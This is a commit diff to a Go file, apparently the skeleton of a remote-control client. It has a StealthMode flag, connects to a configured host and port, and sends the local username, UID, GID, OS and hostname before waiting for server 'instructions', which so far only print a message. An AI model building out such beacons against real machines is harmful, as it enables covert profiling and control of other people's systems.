Configure extra Client fields

This commit is contained in:
raul 2024-06-03 15:06:44 +02:00
parent b70852318f
commit 7c33417b49
1 changed files with 32 additions and 10 deletions

42
main.go
View File

@ -2,23 +2,30 @@ package main
import ( import (
"encoding/gob" "encoding/gob"
"fmt"
"log" "log"
"net" "net"
"os" "os"
"os/user" "os/user"
"runtime"
) )
type Client struct { type Client struct {
OS_username string Username string
UID string
GID string
OperatingSystem string OperatingSystem string
LocalIP net.IP Hostname string
PublicIP net.IP }
type Instructions struct {
Message string
} }
var ( var (
StealthMode bool = false StealthMode bool = false
RemoteIP = "127.0.0.1" RemoteIP = "127.0.0.1"
RemotePort = "1337" RemotePort = "1302"
) )
func main() { func main() {
@ -43,17 +50,26 @@ func main() {
} }
} }
func sendOSInfo(c net.Conn) error { func sendOSInfo(conn net.Conn) error {
currentUser, err := user.Current() currentUser, err := user.Current()
if err != nil { if err != nil {
return err return err
} }
newClient := Client{ clientHostname, err := os.Hostname()
OS_username: currentUser.Username, if err != nil {
return err
} }
enc := gob.NewEncoder(c) newClient := Client{
Username: currentUser.Username,
UID: currentUser.Uid,
GID: currentUser.Gid,
OperatingSystem: runtime.GOOS,
Hostname: clientHostname,
}
enc := gob.NewEncoder(conn)
err = enc.Encode(newClient) err = enc.Encode(newClient)
if err != nil { if err != nil {
return err return err
@ -62,7 +78,13 @@ func sendOSInfo(c net.Conn) error {
return nil return nil
} }
func awaitInstructions(c net.Conn) error { func awaitInstructions(conn net.Conn) error {
dec := gob.NewDecoder(conn)
inst := Instructions{}
err := dec.Decode(&inst)
if err != nil {
return err
}
fmt.Println(inst.Message)
return nil return nil
} }